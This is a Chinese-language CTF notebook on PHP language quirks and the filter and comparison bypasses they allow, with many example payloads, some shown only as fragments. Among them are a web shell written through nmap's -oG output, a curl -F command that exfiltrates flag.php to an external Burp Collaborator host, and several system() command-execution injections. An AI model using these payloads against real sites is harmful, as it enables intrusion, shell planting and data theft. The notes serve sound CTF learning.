PHP特性
PHP特性
参考文章
CTF/PHP特性汇总-安全客 - 安全资讯平台 (anquanke.com)
0x00:Hash比较缺陷
1 PHP`在处理哈希字符串时,通过`!=`或`==`来对哈希值进行比较,它把每一个以`0e`开头的哈希值都解释为`0`,所以如果两个不同的密码经过哈希以后,其哈希值都是以`0e`开头的,那么`PHP`将会认为他们相同,都是`0
审计代码,我们输入的不能相等,但md5
却需要相等,这明显的就是利用Hash
的比较缺陷来做
我们只要找出两个数再md5
加密后都为0e
开头的即可,常用的有以下几种
1 | QNKCDZO |
所以构造a=QNKCDZO&b=s878926199a
即可绕过
0x01:md5
第一种:md5函数绕过
一、
md5()
函数获取不到数组的值,默认数组为0
二、sha1()
函数无法处理数组类型,将报错并返回false
payload:
1 | name[]=1&password[]=2 |
注意这里是===
,不是==
,所以这里采用md5()
函数获取不到数组的值,默认数组为0这个特性来做,payload:
1 | username[]=1&password[]=2 |
第二种:md5强类型绕过
1 | (string)$_POST['a1']!==(string)$_POST['a2'] |
例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串.
两组经过url编码后的值
1 | #1 |
0x03:intval函数绕过
第一个特性:
第二个特性:
例如:
payload如下:
1 | ?num=0x117c |
除此之外,这个函数还可以使用小数点来进行操作
第三个特性:
如果$base为0直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较
例如:
payload:
1 | ?num=4476e1 |
0x04:preg_match函数绕过
第一种:/m
1 | if(preg_match('/^php$/im',$a)) |
/m 多行匹配,但是当出现换行符 %0a
的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
第二种:回溯绕过,
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF
这里给两个个模板
1 | # 开发时间:2022/11/10 23:30 |
1 | import requests |
0x05: preg_replace /e 模式下的代码执行
[BJDCTF2020]ZJCTF,不过如此
1 | <?php |
next.php
1 |
|
对于preg_replace官方给出的解释
1 | mixed preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] ) |
pattern
要搜索的模式。可以使一个字符串或字符串数组。
可以使用一些PCRE修饰符。
replacement
用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。如果pattern和replacement 都是数组,每个pattern使用replacement中对应的元素进行替换。如果replacement中的元素比pattern中的少,多出来的pattern使用空字符串进行替换。
subject
要进行搜索和替换的字符串或字符串数组。 如果subject
是一个数组,搜索和替换回在subject
的每一个元素上进行, 并且返回值也会是一个数组。
limit
每个模式在每个subject
上进行替换的最大次数。默认是 -1(无限)。
count
如果指定,将会被填充为完成的替换次数。
这里看了这篇文章
深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)
案例
这个案例,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,那这样要如何执行代码呢?
爬坑1
上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:
1 | 对一个正则表达式模式或部分模式 **两边添加圆括号** 将导致相关 **匹配存储到一个临时缓冲区** 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。 |
这里的\1
实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即GET方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。
1 | 原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); |
由于前面(.*)
匹配了任意字符,而第一个子匹配项就能执行我们的恶意代码如phpinfo()
爬坑2
上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数,如下图:
我们 var_dump 一下 $_GET 数组,会发现我们传上去的 .* 变成了 _* ,如下图所示:
这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以 fuzz 一下PHP会将哪些符号替换成下划线,发现有:(这是非法字符不为首字母的情况)
有空格
+
.
[
当非法字符为首字母时,只有点号会被替换成下划线:
所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。这里我提供一个 payload : \S*=${phpinfo()} 执行结果如下:
这里是利用\S
匹配任意非空白字符,所以可以代替 .
这里还有个坑
报错:Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in…
查的资料表示/e模式在php5.5.x版本已经弃用了,但是在5.6.9版本下,虽然会报错,但是还能够使用这个特性
然后7.0之后的版本就不能用了
爬坑3
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
1 | var_dump(phpinfo()); // 结果:布尔 true |
到了这里我们就用调用其内部函数了,进行RCE
1 | ?\S*=${getFlag()}&cmd=system('ls /'); |
0x06:in_array宽松比较
看官方
1 | bool in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) |
-
needle
待搜索的值。 Note: 如果
needle
是字符串,则比较是区分大小写的。 -
haystack
待搜索的数组。
-
strict
如果第三个参数
strict
的值为TRUE
则 in_array() 函数还会检查needle
的类型是否和haystack
中的相同。
且in_array是区分大小写的
如
1 | $os = array("Mac", "NT", "Irix", "Linux"); |
第二个条件失败,因为 in_array() 是区分大小写的,所以以上程序显示为:
1 | Got Irix |
Example #2 *in_array()* 严格类型检查例子
1 | $a = array('1.10', 12.4, 1.13); |
以上例程会输出:
1 | 1.13 found with strict check |
因为数组中 12.4 是数字 而匹配的是字符串
例如这道题:
上面的代码对下面无影响,直接写webshell即可,但是要注意文件名开头必须是以数字开头的
1 | ?n=1.php |
因为是宽松匹配 所以它 匹配到 1.php
中的1就通过了
0x07:变量覆盖
第一种:extract函数、parse_str函数
extract()
函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖
extract()
函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖
POST
方法传输进来的值通过extrace()
函数处理,直接传入以POST
的方式传入pass=1&thepassword_123=1
就可以进行将原本的变量覆盖,并且使两个变量相等即可。
还有就是这两个函数如果结合起来使用,也会造成变量覆盖
代码中同时含有parse_str和extract($_POST)
可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:
1 | ?_POST[key1]=36d&_POST[key2]=36d |
代码中同时含有parse_str和extract($_POST)
可以先将GET方法请求的解析成变量
1 | $_SERVER["QUERY_STRING"] |
第二种:$$变量覆盖
$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用**$GLOBALS(引用全局作用域中可用的全部变量)**来做题,例如:
这道题便需要借助某个参数进行传递值,具体也不详细说明了,payload如下:这是比较常见的。
1 | ?Sn0w=flag |
0x08:通过数组绕过
ereg()函数
ereg()函数存在null截断漏洞。可以%00截断,遇到%00则默认为字符串的结束所以可以绕过一下正则的表达。
ereg()只能处理字符串的,遇到数组做参数返回NULL。
空字符串的类型是string
,NULL
的类型是NULL
,false、true
是boolean
类型
strpos()函数
strpos()函数如果传入数组,便会返回NULL
strcmp()函数
strcmp()
函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,在官方文档的说明中说到在php 5.2
版本之前,利用strcmp
函数将数组与字符串进行比较会返回-1
,但是从5.3
开始,会返回0
。
payload:
1 | #POST DATA |
数组和字符进行比较结果不会返回1
,即为false
,加上非的作用,即可变成true
,则满足条件
0x09:PHP自身特性
PHP的变量名格式
在CTF中也经常考察PHP的变量名格式,例如这道题:
1 | $_POST['CTF_SHOW.COM']`无法传入参数,这是因为PHP变量名应该只有**数字字母下划线。**而且GET或POST方式传进去的变量名,会自动将`**空格**` `+ . [`转换为`_ |
payload:
1 | DATA: |
不明所以
PHP数字可与字符做运算
但是这样能干嘛呢?
0x10:escapeshellarg&escapeshellcmd函数绕过
escapeshellarg
escapeshellcmd
先通过例子来查看一下escapeshellarg函数的作用吧
1 | <?php |
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。
所以即使参数用了 escapeshellarg 函数过滤单引号,但参数在拼接命令的时候如果用了双引号的话还是会导致命令执行的漏洞。
再来看一下escapeshellcmd 函数的作用
两个函数都会对单引号进行处理,但是有区别的,如下:
对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义
那既然有这个差异,如果escapeshellcmd() 和 escapeshellarg() 一起出现会有什么问题
测试
结果
分析
1 | 一开始传入的参数 |
因此最后system函数是对127.0.0.1\
发起请求,POST 数据为a=1'
,如果两个函数翻过来则不会出现这个问题
如果先用的escapeshellarg 再使用escapeshellcmd就会引发上面的漏洞
我们可以先看下这个例子
[BUUCTF 2018]Online Tool
1 |
|
很显然题目中的命令字符串不完整,我们可以攻击
先看escapeshellarg
关于nmap
https://blog.csdn.net/wdcxccsdn/article/details/55805803
https://blog.csdn.net/qq_41880069/article/details/82792896
最后要为空格,因为如果不加,转义出来的反斜杠会和php后缀连在一起,导致上传失败,文件路径在这
1 | '<?php eval($_POST[1]);?> -oG 1.php ' |
先经过escapeshellarg,在两边加上'
,并将原来的两个'
转义
1 | '\'<?php eval$_POST[1]($_POST[1]);?> -oG 1.php \'' |
再经过escapeshellcmd
1 | '\\'<?php eval$_POST[1]($_POST[1]);?> -oG 1.php \\'' |
这样的话就能将
然后到这个页面就可以传马了<?php eval$_POST[1]($_POST[1]);?> -oG 1.php
执行,而如果这样
1 | '<?php eval($_POST[1]);?> -oG 1.php' |
就会变成这样
1 | '\\'<?php eval$_POST[1]($_POST[1]);?> -oG 1.php\\'' |
\与1.php连接导致传码失败
1 | http://c5f84d64-7d37-4675-a755-17d10e21fa59.node4.buuoj.cn:81/1733f2e3dee6b1c4f721ecd2ff9de050/1.php |
还可以
1 | http://29777219-7b5a-45fe-acaf-af7c038602a8.node4.buuoj.cn:81/?host='<?php echo `cat /f*`;?> -oG 4.php ' |
Nmap命令模板
1 | nmap [扫描参数] [时间参数] [目标地址] [输出参数] |
我们主要了解一下输出函数‘
1 | -o[ANXGS] |
-oA:结果输出为所有格式文件
-oN:结果输出为普通文件
-oX:结果输出为 xml 文件
-oG:结果输出为 grep 文件
-oS:结果输出为乱码形式文件
0x11:PHP精度绕过缺陷
几次都碰到这个点,记录一下,省的以后忘了再去查
浮点运算的坑
在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,先来看个小例子
输出的是57,而我们预想的应该是58
具体详细的原理可以看这位师傅的描述
http://www.haodaquan.com/12
简单的说因为PHP 通常使用 IEEE 754 双精度格式而且由于浮点数的精度有限的原因。除此之外取整而导致的最大相对误差为 1.11e-16
,当小数小于10^-16
后,PHP对于小数就大小不分了,如下图:
再来看一道ciscn2020初赛的题,便考察了这一点:
easytrick
1 | <?php |
看了Drom师傅的博客学到了这种方法:
因为这道题是考察浮点数精度问题导致的大小比较以及函数处理问题,当小数小于10^-16
后,PHP对于小数就大小不分了
1 | var_dump(1.000000000000000 == 1) >> TRUE |
0.9999999999999999
(17个9)经过strlen
函数会判断为1
经过测试发现!==
和!=
均成立
最后看一下md5函数处理后是否相同
或许是因为0.9999999999999999先计算为1吧,确实也成立,那就写payload即可
1 | <?php |
注意这里trick1的值必须为1,如果为0.9999999999999999则出不来结果,因为$this->trick1 = (string)$this->trick1;
有这个语句的限制,如果为0.9999999999999999,则浮点数就变成了字符类型,因此就不会产生上面的浮点数精度问题
0x12:PHP中类的运用
反射类ReflectionClass
一句话总结:
PHP的反射类与实例化对象作用相反,【实例化】是【调用封装类中的方法、成员】,而【反射类】则是【拆封类中的所有方法、成员变量,并包括私有方法等】。
【反射类是PHP内部类】,无需加载即可使用,你可以通过实例化 【ReflectionClass】 类去使用它。
PHP反射类常用的方法?
PHP反射类【可以获取类名、类中的所有方法、成员变量,并包括私有方法等】
1 | class fuc { //定义一个类 |
2、PHP反射类常用的方法?
PHP反射类【可以获取类名、类中的所有方法、成员变量,并包括私有方法等】
1 | 方法名 注释 |
异常处理类Exception
先简单了解一下PHP异常处理
这里举个例子,方便理解异常类
1 | <?php |
例如这道题:
1 | ?v1=Exception&v2=system('ls') |
虽然源代码中含有了括号,但是我们还是可以自己加上去,以及在里面设置参数,后面多出的()不对结果造成影响
内置类FilesystemIterator
先简单了解一下这个类的作用
PHP使用FilesystemIterator迭代器遍历目录
例如这道题:
只需获取当前路径,便可以将当前目录下所有文件给显示出来,这里可以使用php中的getcwd这个函数
getchwd() 函数返回当前工作目录
故payload为
1 | ?v1=FilesystemIterator&v2=getcwd |
上面这两道题没时间在本地弄了明天再弄
0x13:一些姿势汇总
/proc/self/root绕过is_file函数
payload:
1 | ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p |
在linux中/proc/self/root是指向根目录的,这里看了很多师傅的wp,都是只记录了一个payload,找到了一个大师傅对于这个方法的解释
,好像没给出连接。。
gettext&get_defined_vars函数
这道题涉及到的是php中的gettext的用法,先了解一下
php的扩展gettext实现程序的国际化
_()是gettext()
函数的简写形式,那既然变量f1过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func执行命令
1 | call_user_func(call_user_func('_','phpinfo'))=>call_user_func('phpinfo') |
虽然该函数会报错
但是还是会继续执行,不会停止,这时候便会执行phpinfo这个命令,但这里要获取flag,就需要再了解一个函数get_defined_vars
已知包含了flag.php。而flag.php肯定包含已定义好的变量列表的多维数组,故payload:
1 | ?f1=_&f2=get_defined_vars |
Linux tee命令
tee
命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
1 | tee file1 file2 //复制文件 |
例如这道题:
1 | ?c=ls /|tee Sn0w |
Burp Collaborator Client
这道题主要考察的是命令执行的骚操作和curl -F的使用
如果传递的参数是$F本身,会不会出现变量覆盖那
1 | ?F=`$F `;sleep 3 |
发现curl并没有被过滤,便可以利用curl带出flag.php,curl -F 将flag文件上传到Burp的 Collaborator Client( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
还有这一个也要学啊
payload:
1 | ?F=`$F `;curl -X POST -F Sn0w=@flag.php 1216a307cv2bgog6aua6lmje157vvk.burpcollaborator.net |
这里要解释一下
1 | #其中-F 为带文件的形式发送post请求 |
其实原理很简单,相当于这台服务器上传文件传输到burp的Collaborator Client
call_user_func读取类中的函数
call_user_func函数可以调用类中的函数,这里举一个简单的例子
1 | class Test |
例如:
payload:
1 | ctfshow[0]=ctfshow&ctfshow[1]=getFlag |
create_function函数
这个目前没有例题
create_function,第一个参数是参数,第二个参数是内容,函数结构类似:
1 | create_function('$a,$b','return 111') |
所以那如果我们这样进行构造payload
1 | create_function('$a,$b','return 111;}phpinfo();//') |
phpinfo()便会被执行,所以根据这个思路来进行构造payload
1 | ?show=echo Sn0w;}system('cat f*');// |
intval函数的使用
1 | intval( mixed $value, int $base = 10) : int |
如果 base 是 0,通过检测 value 的格式来决定使用的进制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
1 | if($num==="4476"){ |
科学计数法也可以绕过
1 | intval('4476.0')===4476 小数点 |
highlight_file路径
highlight_file的参数可以是路径的
1 | if($_GET['u']=='flag.php'){ |
if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:
1 | /var/www/html/flag.php 绝对路径 |
md5弱比较
md5弱比较使用了强制类型转换后不再接收数组
1 | $a=(string)$a; |
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
不同数据弱相等
payload: a=QNKCDZO&b=240610708
MD5等于自身,如md5($a)==$a
,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017
md5强碰撞
主要体现在
(md5($a)===md5($b)
1 | $a=(string)$a; |
三目运算符的理解+变量覆盖
is_numeric与hex2bin
is_numeric在PHP5中是可以识别十六进制的,hex2bin参数不能带0x
PHP文档
hex2bin
1 | string hex2bin( string $data) |
这个函数不是 转换十六进制数字为二进制数字。这种转换(指将十六进制数字转换为二进制数字)可以使用base_convert() 函数。
base_convert
base_convert — 在任意进制之间转换数字
1 | string base_convert( string $number, int $frombase, int $tobase) |
sha1比较缺陷
sha1无法处理数组,如下可使用a[]=1&b[]=1数组绕过
1 | if($a==$b){ |
但MD5或者sha1这种如果强制类型转换后,就不接受数组了,这个时候就要找真正的编码后相同的了,如
1 | aaroZmOk |
PHP双$($$)的变量覆盖
在双写$的时,属于动态变量,就是后面的变量值作为新的变量名
1 | $test="jinmuu"; //$test等于jinmuu |
parse_str函数的使用
parse_str会把字符串解析为变量,
可以同时赋多个值
1 | $a="q=jin&w=mu"; |
第二个参数会作为数组,
1 | $a="q=jin&w=mu"; |
php8版本必须要有第二个参数,php7不影响使用但会警告一下
ereg %00正则截断
ereg PHP5.3废弃了,功能可以由preg_match代替,ereg有个截断漏洞,字符串里包括%00就只匹配%00之前的内容。所以可以前面根据正则改,后面是执行语句,如果有strrev() 这种字符串反转函数配合用更好。
15、迭代器获取当前目录
FilesystemIterator可以获得文件目录,参数需要 .
或者具体路径,getcwd()这个函数可以获取当前文件路径,二者在一定条件下配合使用较好
16、$GLOBALS全局变量的使用
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
构造出var_dump($GLOBALS);可以输出全部变量值,包括自定义
php伪协议绕过is_file highlight_file对于php伪协议的使用
is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。
1 | if(! is_file($file)){ |
如上的代码,可以传入php伪协议进行绕过并且显示含有flag的文件。若有过滤,可以换其他伪协议或改编码方式
另外即使是反序列化也可以用伪协议读文件
多写根目录绕过is_file
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚。如上面的代码,也可以用下面payload代替
1 | file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
但is_file认为这个不是文件
trim函数的绕过+is_numeric绕过
trim
1 | 语法 |
去除字符串首尾处的空白字符(或者其他字符)
1 | string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] ) |
is_numeric绕过除数字以外下面这些也可以通过is_numeric函数
1 | %09 |
可以用这个测试一下
1 | for ($i=0; $i <=128 ; $i++) { |
除了±.号以外还有只剩下%0c也就是换页符了,trim默认时没有剔除%0c。形如以下代码可以绕过
1 | if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){ |
payload:num=%0c36
绕过死亡die
1 | function filter($x){ |
这道看了羽师傅wp,过滤了许多协议,这是取一个 UCS-2LE UCS-2BE
1 | payload: |
可以用这个来测试
1 |
|
通过内置bash命令构造命令
在许多命令被过滤时,可以一个字母一个字母得构造,而这些字母从内置变量里面截,比如构造nl
,可以写为下面这种方式
1 | ${PATH:14:1}${PATH:5:1} |
在linux中可以用~
获取变量的最后几位,也可以写为${PATH:~0}${PWD:~0}
,字母与0作用一样,${PATH:~A}${PWD:~A}
也是nl,flag.php也过滤了的话可以用???.???,具体情况,具体对待
但是内置变量如何知道捏?烤鸡吗?
PHP变量名非法字符
比如传入AA_BB.CC这个变量,PHP是不允许变量名中含有.
的,会默认将不合法字符替换为_
,如下:
1 |
|
但输入AA[BB.CC
它就只替换 [
输出 array(1) { [“AA_BB.CC”]=> string(2) “14” }
但是当参数前面已经有一个[
被转换为_
后面的.
就不会被转义了。
1 | 就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM` |
gettext拓展的使用
在开启该拓展后 _()
等效于 gettext()
1 | $f1 = $_GET['f1']; |
启该拓展后 _() 等效于 gettext()
1 |
|
所以 call_user_func(‘_’,‘phpinfo’) 返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:f1=_&f2=get_defined_vars
调用类中的函数
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
也就是说双冒号不用实例化类就可以调用类中的静态方法
1 | class ctfshow |
这个传入ctfshow=ctfshow::getFlag即可
return绕过
eval("return 1;phpinfo();");
会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();
是可以执行phpinfo()命令的。